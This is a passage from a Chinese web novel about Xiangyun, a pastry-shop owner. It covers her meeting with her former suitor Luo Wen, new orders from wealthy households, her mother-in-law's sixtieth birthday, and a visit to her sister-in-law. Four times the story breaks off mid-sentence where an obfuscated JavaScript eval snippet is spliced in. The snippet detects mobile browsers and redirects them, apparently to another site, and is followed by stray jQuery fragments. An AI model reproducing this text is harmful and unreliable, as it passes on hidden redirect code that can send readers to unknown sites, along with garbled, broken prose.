更重要的是，考中了举人，姜家的地位就不一样了，自己开店，也不会去受地痞的压榨，将来孩子们也有好的前程。 所以，万般皆下品，真的是，唯有读书高了。 正思量间，就听陆二郎在店里叫道：“妹子，有人来找你。” 湘云从床上起来，理了理有些散乱的鬓发，奇怪有谁来找自己。 自己初来乍到，除了表姨母和胡府的门房之外，在这个镇子上根本没有熟人啊。 推开店铺的后门，来到店堂里，只见锅台前站着一个三十来岁的中年仆妇。 那仆妇见了她，就笑道：“你是姜家四奶奶吧？” 湘云点了点头：“请问您是？” “姜四奶奶，我是北头巷子里丁员外家的，我们家太太听说你做的糕点味道甚好，想请您带几块过去，她尝一下，若好，就日日来定您的。” 一听这话，湘云不由得喜出望外。 自己在北头巷子里才叫卖了不过两天，居然就有人找到店里来了。 看来，店里又要多了一个老主顾了。 抑制住自己内心的兴奋，湘云道：“二哥，你看着店！” 说完，她就夹了四块糕点，放进干净的碟子里装了，放进篮子里，盖上笼布，便随着那仆妇去了。 “这位大婶，你们家太太在深宅大院里，如何会知道我的糕点？”路上，湘云问。 “姜四奶奶，你到了，见了我们太太，就知道了。” 湘云心里微感奇怪，当下也不多言，只跟着那仆妇一路去了北巷。 到了丁府，穿过那些曲折的回廊，仆妇将她带到了一所僻静的花厅里。 花厅中空无一人，仆妇指着圆桌边的太师椅道：“你先坐着喝茶，要见你的人，马上就到。” 湘云坐了下来，端起茶杯，正要喝茶。 突然，屏风后转出了一个人。 湘云一抬头，登时僵住了，手上的茶杯，不听话地骨碌碌滚落在地，摔得粉碎。 眼前的人，居然是罗文！ 罗文穿着一身月白色的绸衣，衣服上还绣着金线，他整个人更白了，也更有派头了，再不是往日的模样。 回过神来，湘云第一反应就是站起身来，就要出门。 “湘云，坐下来，好好聊一聊！”罗文忙拉住了她的手。 湘云一把摔开，疾言厉色：“罗公子，请自重！” “湘云，我一直想跟你解释一下……” “你是有妇之夫，我乃有夫之妇，孤男寡女，单独在一起，不好吧！”湘云冷冷地道。 “放心，你我在这里说话，不会被人知道——湘云，我是昨天才知道，原来，你已经嫁给了姜四郎！” 看见他脸上露出伤感的神色，湘云觉得有些不可思议。 于是她缓缓道：“你不是跟侍郎家的千金成亲了吗？你还有什么好解释的呢？” “可是，我并不喜欢她呀，湘云，我的心没有变，我心里只有你！”罗文忙道。 湘云眯缝起眼睛，紧紧盯着眼前这个男人。 她决定，陪他演一演，看清楚他到底想干什么，到底是什么样的人。 于是，她假装哽咽道：“你——你既然心里有我，为什么还要娶她？” 罗文长叹了一声：“我也是形式所迫，若不答应这门亲事，我的科举之路，就要断绝了！” “怎么，侍郎家，拿这个来逼迫你了？”湘云惊问。 罗文缓缓点了点头。 湘云装出一副凄苦的神色：“若果真如此，那真的也怪不得你。” 罗文见状，脸上不由得露出喜色：“这么说，湘云，你这是不怪我了？” 湘云低声道：“怪是不怪你了，权势逼人，你不得不低头” 罗文笑道：“果然，湘云，你还是最懂我的。” 见湘云依旧不说话，脸上神色似乎是默认。 罗文又说：“我回来之后，立刻就派人打听你的下落，得知你嫁给了姜四郎，我——我心中好生难受，湘云，湘云，你为什么不等我？” 看着他那责怪的表情，湘云心里只觉得自己当然实在是瞎了狗眼，居然看上这么个自私自利的男人。 不过，她还是露出一副伤感的神色，想看看，下面这个男人究竟想干什么。 只听罗文怒道：“姜四郎这个家伙，我老早就察觉出，他对你心怀不轨！” “什么？你老早就觉察出来了？你是怎么觉察出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240485|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”湘云立刻问，此刻，她对这个问题好奇极了。 罗文哼了一声：“他经常跟你们陆家村的同窗们打听你，有一次，你在茶园里采茶，他还躲在茶树后偷偷看你，还以为没人发现！” 一丝惊喜涌上湘云的心头，她暗想，原来，四郎早就对自己深情如斯。 “我没想到，我只是去了一趟京城，他就乘人之危，把你给娶走了！”罗文越说越气。 湘云暗想，你真的只是去了一趟京城么？你要是不在京城娶亲，那我又怎么可能嫁给四郎？ 此刻，她再也不想看罗文这无耻的嘴脸，听他这恬不知耻的言论，自己随时都要吐出来。 于是，她缓缓起身：“不早了，我该回去了。” “湘云，你不要走——”罗文急了。 湘云抬起头：“话已经说清楚，我不恨你就是。” 此刻，这一句我不恨你，倒是湘云的真心话，她不但不恨他，反而要谢过他的不娶之恩。不然，她哪有机会跟四郎这么好的男子长相厮守呢。 只不过，这个话，没必要说出来了，也没必要让罗文知道了。 罗文却说：“湘云，你跟我回京吧，我不嫌弃你嫁过人！” 湘云猛地睁大了眼睛，静静地等着他的下文。 只见罗文缓缓道：“我从没喜欢过她，我喜欢的人，一直是你呀！” “那你——”湘云吞吞吐吐地说：“把我带回京以后，打算怎么安置我呢？” 罗文道：“我迫于无奈，不能给你名分，可是，除了名分之外，其余我什么都给你。她——她厉害得很，不许我纳妾，我也是没有办法，不过，锦衣玉食，总是少不了你的。” 原来是想把她带回去做外室，连个妾的名分，都给不了她。 关键罗文还是一脸施舍的模样。 仿佛在面对一个要饭的，虽然给不了你一碗米，可是，总能抓一把米给的的那种怜悯。 湘云想要笑，可是终究没有笑出来。 她突然想到，丈夫正在赶考，将来若入仕途，说不定与罗文想见。 虽然此刻她很想扇罗文一个耳光，可是，若他因此而记恨自己，将来对丈夫肯定不利。 罢了，打这种人，根本就脏了自己的手。 还是想个什么说辞，脱了身，此生陌路吧。 古语有云，宁得罪君子，不得罪小人！ 于是，她眼珠转了两转，叹了口气：“可是，前不久，侍郎府已经派人来找过我了。” “什么？”罗文大吃一惊。 湘云点了点头：“那人说，他们家小姐已经查访到到了你我当年之事，说——” “说什么？”罗文急忙追问。 “说要我本本分分的跟着四郎过，不许与你再见，不然的话，就杀了我，然后，再与你恩断义绝。” 罗文登时脸色大变，一句话也说不出来了。 湘云暗暗松了口气，知道自己的话起到了效果。 于是就说：“我就不连累你了，你回去，跟你那娘子好生过日子去吧。” 后面那一句“谢不娶之恩”她终究还是忍住了没说。 而是转身，头也不回地走了。 27. 情动 从丁府回到店里以后，湘云一直沉默着。 她的脑海中，不断回想着罗文跟她说的话。 “姜四郎这个家伙，我老早就察觉出，他对你心怀不轨！” “他经常跟你们陆家村的同窗们打听你，有一次，你在茶园里采茶，他还躲在茶树后偷偷看你，还以为没人发现！” 原来，这个家伙早就对自己心怀不轨！ 每次问他，他都不说，嘴可真够严的。 她的视线转移到床上那湖绿色的被褥上，被褥上绣着粉红色的一对鸳鸯。 她想起当日躲在茶园的大树后面，第一次看见姜四郎的情形。 那个时候，她只是单纯地觉得他看起来还比较顺眼，所以就决定嫁了。 原本，是抱着平平淡淡过一生的打算，嫁给这个人的。 压根没指望过得有多幸福，多美满。也压根没想过四郎会对自己怎么样。 这算是意外之喜吗？ 正思量间，只听陆二郎在门外叫道：“妹子，有人来了。” 湘云便推开门，只见她表姨母笑吟吟地站在店里。 “表姨母，您怎么来了？快，快请到屋里喝茶。” 湘云一把拉住她表姨母，对陆二郎道：“二哥，这就是咱们的表姨母。” 陆二郎忙道：“表姨母，我是二郎。” 她表姨母笑道：“好，我表妹的儿子女儿个个都漂亮！” 说完，就对湘云说：“我找你，是有事的。” 湘云点了点头，把表姨母带到了后院，奉上了香茶。 坐定之后，表姨母就道：“湘云，我跟你说，我们府里的三少奶奶，最近添了小儿子，眼看就要过百日了。” 湘云心里一动，静静地等着表姨母说下去。 “我已经跟我们太太说了，你做的糕点可谓镇上一绝，这百日宴上，要大量用你家的糕点，你准备一下。” 湘云的一颗心，不由得扑通扑通跳了起来。 王家是本地望族，几乎与所有大户人家都有来往。 百日宴上，用了自己的糕点，那就等于所有大户人家的女眷们，都将在那天品尝到自己的糕点。 这是多么好的一次机会啊！ “表姨母，那，你们府里这次百日宴，一共需要多少糕点？我好准备。” 表姨母想了想：“起码需要五百块，你就按照五百块的分量预备好了。” 湘云急忙点了点头，感激地说：“表姨母，您费心了。” “咱们是一家人，何必说两家话，百日宴就定在三日后，后天傍晚，我们府里会来人取这五百块糕点，你准备好就是。” 说完，表姨母便站起身来：“时候不早，我要回府上工了。” 湘云忙道：“我送您，改日，一定登门拜谢。” 两天后，五百块糕点被王府的仆人取走。 湘云坐在家里，暗暗祈祷着。 她知道，这五百块糕点，一定会给自己带来意想不到的收获。 至于到底是多大的收获，却以后难以确定。 掐指一算，四郎也快考完了，再过两天，他就要回家了。 想到这里，湘云唇边不由露出微笑。 自从见了罗文之后，对于过往，她一丝遗憾也无了。 每天晚上躺在床上，心里想的，都是与四郎之间的点点滴滴。 四郎走了三天，对于湘云来说，可谓是度日如年。 这三天里，无论是吃饭，做事，还是闲暇时，她心里想的，全是四郎。 她从未想到，自己对四郎的眷念，居然如此之深。 到底是什么时候开始的呢？ “妹子，你这一天天魂不守舍的，到底是怎么了？”陆二郎正在烧火，见妹子神情有些迷离，不由得道。 湘云回过神来，笑了一笑，没有做声。 “妹子啊，不是当哥的说你啊！你都是有丈夫的人了，以前的人和事，就不要再挂怀了。” “哥，你说得这是什么话？什么意思的？” 陆二郎哼了一声：“那姓罗的小子已经回乡了，这事谁不知道，你是不是又想起他了？” “二哥——”湘云不由得又是好气，又是好笑，却也不由得感动，到底是自己的亲哥哥，还是关心自己的、 “妹子啊，我跟你们一起住的时间虽然短，可是我也看得出来，四郎是真的疼你爱你，你可不要身在福中不知福啊！那姓罗的小白脸，我从一开始，对他就没有好感，那就是个打小娇生惯养的娘娘腔，心里只有自己的人，你跟了他，也是过不好的！”陆二郎开始滔滔不绝地训斥起妹子来。 湘云抿嘴一笑：“哥，你说的都对，妹子心里有数的。我只是在想，四郎回家那天，我到底要做什么菜来给他接风呢。” 见她这样说，陆二郎有些难以置信地看了她一眼，却终于没有说什么。 第二天，湘云满怀期盼地起床，一边做糕点卖，一边时不时地张望着店门口。 王家的百日宴昨天已经办完了，那些大户人家的女眷，吃了自己的糕点，也该有反应了。 可是，等了整整一天，都没有等来什么消息，湘云不由得有些失落。 到了下午，她又拎了一篮子糕点去北头巷子里叫卖。 这一次，她卖得比较顺利，只花了不到一个时辰，就卖光了一篮子六十块糕点。 回到店里，却见一个身穿青衣的人站在店门口，正跟陆二郎轻声交谈着。 以为是她二哥的旧识，湘云没有太在意。 “湘云，你总算是回来了！这位周管家等你很久了。”陆二郎道。 周管家？ 湘云心里一跳，急忙道：“来了，敢问这位管家大叔，是哪个府里的？” 周管家道：“我是陈员外府上的，湘云姑娘，我们家老太太昨儿在王府吃他们家小少爷的百日宴，吃了一味糕点，觉得特别对她老人家的胃口，就让我去打听，这不，就打听到你这里来了。” 终于来了！ 湘云的心里一阵窃喜，静静等着周管家的下文。 周管家接着道：“我们家老太太的意思，是想让你每隔两日，就送一批糕点到府上。” 湘云急忙点头：“不知你们家老太太，要我一次送多少块合适？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243786|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周管家想了想，然后到，我们家有六个房头，一个房头每隔两三日，起码要上一碟子，一碟子起码十块。” “那就一次送六十块好了。”湘云忙道。 周管家点了点头：“我家就南头巷子里，离王府五十步左右的地方，你到时候就送到我家门房里就好了。” 湘云点了点头，原来失落的心情，一下子就亮堂了起来。 周管家走了以后，湘云就笑道：“二哥，明儿，四郎就回家了，我们做几个好吃的，庆祝一下，如何？” 陆二郎道：“当然可以，我看四郎爱吃辣口，要不，你就多着几个辣一点的菜。” 湘云就兴致勃勃地研究：“辣子鸡，辣油拌黄瓜，四郎不喜欢吃猪肉，咱们就用牛肉羊肉……” 兄妹两人正商量着，突然，店门外有个声音又响了起来：“老板可在？店里有人吗？” 湘云急忙走了出来，却见一个穿着蓝布衫子的中年妇人，笑眯眯地站在门口。 “大婶，您要买糕吗？”湘云问。 那妇人笑道：“我不是买糕，我是来订糕的。” 湘云心里一喜，知道，这一定又是哪个大户人家的仆妇了。 果然，只见那妇人道：“我是清流河边曹员外府上的，我们家少奶奶在王府百日宴上吃了你们店里的糕点，直夸说好，让我来看看，让你每隔三日，就送一些过去。” 湘云道：“送多少块呢？” 那妇人道：“送七十块吧，我们家七个房头。” 湘云应下了。 待妇人走后，陆二郎笑道：“表姨母可真是帮了我们的大忙啊！” “是的，赶明儿，我去买点茶叶送给表姨母喝去。” 有了这两单生意，湘云的好心情，一直维系到了第二天下午。 到了下午，她就让她二哥看店，自己在厨房里忙忙碌碌，切切洗洗，只为给丈夫一个惊喜。 到了傍晚，天擦黑的时候，一切都准备停当了，湘云就靠在店门口，等待丈夫的归来。 夕阳中，街上人来人往，每走过来一个宝蓝色的挺拔身影，她的心，就会猛烈地跳动起来。 而那身影走近一看，不是四郎，湘云不由得又是一阵失望。 终于，当夕阳的最后一丝光亮也隐没在大地上的时候，四郎那挺拔的身影终于出现在了门口。 湘云没有迎上去，只是静静地看着他。 四郎来到她面前，咧嘴一笑：“怎么，你好像刚认识我一样。” 湘云没有说话，眼里却泛起泪光。 四郎伸手擦掉她的眼泪：“傻丫头，我不过才走了几天么，怎么就像我走了几年一样！” 湘云没有说话，这时候，陆二郎也出来了：“妹夫啊，你考得如何？” 四郎笑道：“还行吧，这次题目，倒是不偏也不难。” 陆二郎就说：“湘云做了一大桌你爱吃的菜，我们赶紧去里屋吃饭吧。” 四郎拉起湘云的手，紧紧握了握。 那手里的温度，似乎一直暖到了湘云的心里。 湘云对着丈夫，灿然一笑。 28. 六十大寿 四月十八，是姜母的六十大寿。 在当地，六十是个整寿，需要大操大办。 在这件事上，姜大郎夫妇倒也尽职尽责。 虽然姜大嫂在镇上开了器具店，可是，为了操办婆婆的寿宴，也提前三天回了村。 同为儿媳，湘云自然也不能当天就去，她和四郎一起，提前一天赶回了村里，跟着三位哥嫂一起操办。 四月的天气，草长莺飞，一片桃红柳绿。 四郎牵着湘云的手，两口子的心情，都是前所未有的好。 看见路边有一朵金黄色的野花，四郎就摘了下来，别在湘云头上：“湘云，我有一件事，要告诉你。” “什么事？你说。” “我昨天回来的晚，不是去朋友家喝酒了，而是去县城看榜了。” “哦？”湘云停下了脚步：“考试结果如何？” 四郎一脸的波澜不惊：“你猜。” 湘云摇了摇头：“我猜不出，你就直接告诉我呗。” 四郎笑道：“我考了全县第三名！” 湘云听了，不由得又惊又喜，她嗔道：“那你怎么不跟我说啊？为什么昨晚不跟我说，憋到现在才跟我说？” “我回来得晚，见你睡着了，就不忍心叫醒你。” 湘云嚷道：“这么好的事情，你怎么能忍得住？” “不过是县试么，有什么大不了的？”四郎淡淡地说。 湘云笑道：“县试考了第三，那府试，院试也不会差，看来，你这个秀才是跑不了了。” 见四下无人，四郎亲了一下她的额头：“但愿一切如贤妻所愿。” “相公，我也跟你说一件事，这件事，因为你昨天回来得晚，我也没来得及跟你说。” 四郎忙道：“什么事，你说。” 湘云缓缓道：“昨日，又有三家大户人家，从我们这里订了糕点，一共有十个大户人家订了，每家至少五十块，这样的话，我们一个月，可是挣至少十五两银子了。” “而且，这些都是稳定的收入。”湘云又补充道。 四郎笑道：“我娘子，可真能干啊！” “我夫君也不错，等你过了乡试，再考过了秋闱，我们的日子，就会像芝麻开花一样了！” 夫妻两越说越高兴，手拉手儿聊着家常，不知不觉，就到了杏花村姜老大家里。 推开院门，却见三个哥哥三个嫂嫂都在院子里忙活着，四个孩子满院子的疯跑玩耍。 姜大郎和姜二郎在清洗猪内脏，用杀猪刀割猪肉。姜三郎在水井边打水给两个哥哥送过去。 姜三嫂在水井边清洗蔬菜，姜大嫂在树底下捡花生米，姜二嫂在厨里和婆婆说着什么。 见四郎两口子来了，姜三嫂就笑道：“来得正好，四郎，快去杀鸡鸭，明儿准备了八桌人，光鸡鸭就得杀十几只，你媳妇就来跟我一起洗菜剥葱蒜吧。” 四郎和湘云答应了一声，挽起袖子就干了起来。 来了就是干活的，老娘的寿宴，自然要忙活的。 见湘云来了，姜大嫂就把板凳搬到了水井边，一边捡花生，一边道：“四弟妹，你店里糕点生意如何了啊？” “也就那样吧，不好不坏！”湘云淡淡地说。 来姜家日子不短了，湘云已经知道了大嫂的脾气，她是不能容忍别人比他强的，尤其不能容忍妯娌比她过得好。 所以，在她面前，根本没有说实话的必要。 姜大嫂继续套问：“那，你一个月能挣多少银子啊？” 湘云道：“都花在开销上了，哪里还算得清楚呢，反正，没花多少钱。” 见她这样说，姜大嫂信以为真，她顿时一脸的笑意。 姜三嫂把情形看在眼里，就笑道：“大嫂，你开了器具店，想必挣了不少银子吧？” “也没有多少，够吃饭罢了。”姜大嫂嘴上谦虚，眼神里却露出得意之色。 这时，院门外又有响动，湘云抬头一看，只见两个中年妇人，一个年轻少妇鱼贯而入。 姜大嫂忙道：“哎呦，大姐二姐，四妹，你们都来了？” 那年纪最大的妇人笑道：“娘的寿宴，我们姐妹几个，怎敢不来忙活一下。” 原来是三位姑奶奶！ 湘云还是第一次见她们，只见大姑奶奶白白胖胖一团和气，二姑奶奶虽已到中年，却还能看出年轻时是个美人。而四姑奶奶则黑黑瘦瘦，样貌一般。 湘云暗想，真是一娘生九种，这三位姑姐，都远不及三姑姐的美貌。嗯，不知道三姑姐可会来参加她娘的寿宴。 三个姑姐一起来到湘云面前：“这位就是四弟妹吧，我还是头一回见呢！” 湘云忙站起来微笑问好，寒暄一通，便各自忙活去了。 到了第二天，姜母的六十大寿就正式开始了。 姜大郎家的院子里，摆了八张大圆桌，都坐满了人，真可谓是宾客如云。 姜家在杏花村繁衍已超过五代，光是本家的亲戚，都有好几十户，何况姜母还有几个女儿，几个大小姑子，以及娘家众多兄弟姐妹，还有四个儿媳妇的娘家人。 所以，整个寿宴热闹之极。 湘云和几个嫂子忙着在厨房里切菜配菜，几乎没有机会到院子里去跟人说话。 这一天，只忙得晕头转向。午饭也只是在灶台前就着热汤吃了半碗饭，宾客走后，她又忙着清洗碗碟餐具，一直到夕阳西下，一切才收拾停当。 此刻，人客早已走光，只余下姜母七个子女。 这个时候，就是子女们给老娘献上寿礼的时刻。 先是姜大郎夫妇跪在地上，给姜母磕了个头。 姜大嫂从怀里取出一根银簪子：“婆婆，这是媳妇的一点心意，望婆婆不要嫌弃。” 姜母微笑着收下了。 姜二郎夫妇磕头后，姜二嫂从袖子奉上了一包茶叶：“婆婆，这是你儿子专门去滁州城里买的六安红茶。” “二郎有心了，知道我最爱喝茶。”姜母缓缓道。 湘云想，农家一般不喝茶，姜二郎却能跑到滁州城里给母亲买茶叶，这确实比老大两口子孝顺了。 姜三郎夫妇磕头后，姜三嫂取出一只银手镯：“婆婆，大嫂给您打的簪子，我就给您添只银手镯吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250556|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜母笑道：“你们妯娌两个，莫非是商量好了的？” 姜大嫂笑道：“是呢！” 现在，轮到湘云和四郎了。 湘云早就准备好了一幅金镶珍珠耳环，此刻，也从袖子里娶了出来：“婆婆，这耳环不知您可喜欢。” 一见耳环，姜母登时眉开眼笑：“这耳环倒是别致。” 此言一出，二郎三郎夫妇倒是没什么，唯独姜大郎夫妇，脸色颇有些不好看。 珍珠是个贵重东西，起码要比银簪银手镯要贵，湘云口口声声开店没挣到钱，却买了珍珠做寿礼，显然是赚到钱了的。 姜大嫂就酸溜溜地道：“四弟妹啊，不是生意不好吗？” “大嫂，生意再不好，婆婆的寿礼也得备办不是。”湘云淡淡地道。 这时，三个姑姐和姐夫也上前磕头，献上了寿礼，这姐妹三人倒是事先商量好了的，每人一匹布料，不过颜色不同而已。 看着地上齐刷刷跪着的三个女儿女婿，姜母的笑容突然凝固了，脸上露出了伤感的神色。 再傻的人也能猜到，她是想起自己的三闺女了。 “娘，今儿您六十整寿，三妹不可能不知道，她不来，是怕您生气，败了您的兴致。”身为长女，姜大姐开口了。 姜母苦笑着道：“今天是个好日子，提那个逆女做什么！好了，大家一起上桌吃饭吧。” 于是，众人围绕着姜母，开始了家宴。 正吃喝间，突然院外有人敲门，姜大嫂出去，随即带回了两个衣着光鲜的仆妇，其中一个手里还捧着一个乌木匣子。 “婆婆，这两人说，她们是三姑奶奶家里的仆妇。”姜大嫂轻声道。 “老太太，我们家太太怕您老生气，不敢亲自来拜寿，只求您收下她的寿礼。”两名仆妇恭恭敬敬地道。 姜母哼了一声：“我今儿已经收了七份寿礼，不差她那一份，你们带回去吧。” 那手捧匣子的仆妇笑道：“老太太，您就可怜可怜我们吧，我们太太可说了，若是您不肯收了寿礼，我们姐儿两办事不力，就要被太太撵出府去了。” 说完，两人一起跪下，齐声道：“求老太太垂怜。” 姜二姐、姜四姐见状，也劝道：“娘，到底是自己亲骨肉，您就收下吧。” 经过这段时间的接触，湘云对这位三姑姐的好感与日俱增，于是也轻声道：“婆婆，您不收这礼，三姐心里怎么过得去？” 姜大郎也道：“娘，三妹与胡彪早已开枝散叶，跟公婆也尽释前嫌，你就不要再揪着那点往事不放了。” 见一众儿女如此说，姜母终于叹了口气：“好吧，那就收下吧！” 那手捧匣子的仆妇高兴地站了起来，走到姜母面前，打开了匣子。 只见匣子里一阵金光耀眼，里面居然是一整副纯金打造的头面，还镶嵌了许多祖母绿宝石，这可真是价值千金。 姜大嫂激动的声音都发颤了：“婆婆，您就收下吧。” 姜母长叹了一声：“好吧，那就收下！” 两名仆妇对视一眼，都露出大喜过望的表情。 29. 府试 院子里那颗老槐树的枝叶越来越浓密，枝叶间不知何时露出了一咕噜一咕噜洁白的花骨朵。 为了方便四郎读书，湘云在老槐树下放了个藤椅和高几，高几上总是为他泡好一杯香茶备着。 这天上午，湘云端着一碟热气腾腾的杨榴糕来到后院，将糕点放在四郎面前的高几上，笑道：“试试这个新的杨榴糕，刚出锅的。” 四郎放下书卷，笑道：“再过两日，就要府试了，你又来扰我文思。” 湘云拈起一块糕，放进丈夫手里：“府试而已，你一定能过的。对了，四郎，我听说，你小时候读书，都是跟在你三姐后面读的？” 自从上次寿宴，姜母收了姜三姐的礼之后，四郎提起自己三姐的口气，也和软了许多。 见湘云问起，就淡淡地说：“可惜三姐不是男子，若是男子，在学堂里读个几年书的话，定能考中进士。” “三姑姐真的那么聪明？” 四郎点了点：“我们家兄弟姐妹八人，就属她最是聪明。小时候，无论是做菜，还是算账，我们样样都不如她。” “不是说她不会女工的吗？” 四郎一晒：“那是她厌恶女工，不肯学而已！她跟着胡彪出去做生意，表面上看是胡彪做生意。可实际上，我们家里的人都清楚，她们家的生意，定然是我三姐幕后打理。” 听了四郎的话，湘云不由得有些神往。 她决定，下午就去找这位姑姐聊一聊，到底该如何才能把糕店的生意，越做越好。 按说，这段时间以来，糕点铺子的生意是越来越稳定了。 湘云不但每天都要做个一百块左右的糕点送给大户人家，而且随着时间的推移，镇上的普通人家，也都知道了姜记糕点铺的名头，都知道湘云做的糕点好吃。 每日里一块两块来买糕点的人，开始络绎不绝，湘云一天，光是零卖，也卖了一两百块糕点。 每月十几两银子，是稳稳当当地进了口袋。 可是，湘云不满足。 她每日里去那些大户人家送糕点，看着人家府邸里富丽堂皇的景象，她就想，同样是人，他们也不是当官做宰的，也大多只是做生意，为什么他们就挣了那么多钱？ 三姑姐既然那么聪明，又把生意做得那么大，她一定能为自己提供宝贵的意见。 “娘子，我看我娘这光景，也开始想认下我三姐了。”四郎拿起糕店咬了一口，轻声道。 湘云嗯了一声：“说起来，当年之事，也怪不得三姑姐吧。” “当年之事，当年什么事？你知道的倒是不少啊？谁告诉你的？”四郎瞪了她一眼。 湘云微笑道：“她既然与胡彪成了夫妻，那此事就是一桩佳话，而不是丑闻了，又什么不能说的。” 四郎脸色这才稍微缓和了些：“胡彪人是不错的，当日，我们家对他也甚是满意。只是，胡家父母背信弃义，非要胡彪另娶他人。我们——是气我三姐不争气，离了他，难道就不行了吗。” “相公，这你可错了。”湘云秀眉一挑：“若是胡彪移情别恋了，我想，以三姑姐的志气，估计从此以后都不会多看他一眼！可是，胡家父母硬是逼迫胡彪，那么，此事就怪不得胡彪啊！” 四郎哼了一声：“拜花堂的时候抢新郎，丢尽我姜家祖宗十八代的脸！” “可是，新郎却硬是跟她走了！新郎若不肯，难道三姑姐还能硬把他拉走？这分明就是胡家有问题！我相信，现在那胡家二老，一定很庆幸儿子被三姑姐带走吧。”湘云一脸的理直气壮。 四郎看了她一眼，有些好笑：“你又不认识我三姐，你倒是挺喜欢她的，总是向左她说话呢。” 湘云拿起茶壶，倒了一杯茶递到四郎手上：“四郎，你三姐在家的时候，是不是很疼你？” “她在家的时候，最疼的就是我这个幼弟，我小时候，也最喜欢跟在她后面……”四郎眯缝起眼睛，回忆道。 “那你就跟婆婆说说，今年端午，咱们接她回来过端午节吧。你是老八，婆婆最疼你，你说话，肯定管用的。”湘云轻声道。 四郎沉默不语。 湘云又道：“那可是你亲姐姐，你没看前儿寿宴，婆婆失落的样子吗，她肯定是想她三闺女了呗。” 四郎听了，似有意动。 湘云又道：“我们家是她正儿八经的娘家，端午，把她接来过节，再把婆婆也接来，一起吃顿饭，不就认了吗。” 四郎想了想：“好吧，都听你的！” 湘云这才舒心地笑了起来。 吃完午饭，湘云小睡了一会，起身换了一件新衣服，就去胡府拜访她三姑姐去了。 她之前已经去拜访过两次，知道只要逢五的日子，三姑姐就必然在家吃斋一天，今天是十五，正好可以跟她好好聊天。 到了胡府，门房见了她，也没有通传，只是说：“我们太太正好今日在家无事，我直接带你去她房里吧。” 湘云笑道：“怎么，难不成你们太太早就知道我今日要来？” “这个我不清楚，只是太太今日嘱咐过，今儿不管谁来找她，都直接带到房里去见她就可以了。” 湘云就跟着管家，直接到了姜三姐的房里。 只见姜三姐正悠闲地坐在贵妃榻上嗑瓜子，手里还捧着一卷书。 见她来了，就放在书本，微笑招呼道：“陆老板，来，快来跟我一起嗑瓜子。” “胡太太，您可真悠闲啊。”湘云上前，在贵妃榻前的小凳子上坐了下来。 “哪里，我是忙里偷闲，我忙的时候，你没有看到！”姜三姐笑道。 “您平时都在忙什么呢？家里的生意，是不是都是您在打理？”湘云试探着问。 姜三姐点了点头：“很多事情，虽然是我们当家的出面，可是，却是我在背后筹划。” “我听说，你们当日也是白手起家，从无到有，那你们，究竟是靠什么，才能积累到这么大一笔银子盖这样的府邸的？”湘云决定直接问，像三姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255632|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐这样聪明的人，跟她耍心机，只会让她反感。 姜三姐深深看了她一眼，不出声地笑了。 然后，她慢悠悠地说：“陆老板，你一个妇道人家，有发家致富的远大心愿，我十分赞同。你的确跟那些整日围着锅台转的女子不一样，我也是真心想要帮你。” 听到这里，湘云心里兴奋不已。 她抑制住内心的激动，做出一副认真聆听的姿态。 姜三姐道：“起初，我与胡彪身上，只带了十文钱，就到了滁州城，那十文钱，只够我们活两天的，这还是在有破庙可以住，不用住旅店的情况下。” 湘云连连点头，当日胡彪是逃婚走的，自然无法从家里拿多少钱出来。姜三姐一个闺中女儿，自然也带不出多少钱出来。 姜三姐继续道：“胡彪身强力壮，就在码头上帮人干活，一天可挣十文钱，就这样，我们在滁州城的破庙里过了一个多月。” “然后呢？转机出现在什么地方？”湘云又问。 姜三姐微笑道：“转机的事，要自己找，不是天上掉下来的。” 听了这话，湘云暗暗点头，是的，天上不会掉馅饼，机会，一定要自己找。 姜三姐继续道：“我天天在菜场转悠，寻找机会。有一天，我发现很多卖鸡鸭的人，都把鸡毛鸭毛随手一扔，在地上被踩来踩去。于是我就想了个办法，以极低的价钱，将那些鸡毛鸭毛全收了过来，扎成鸡毛掸子，再以十倍价钱卖出去。” “你们就是靠着鸡毛禅子发家的？” 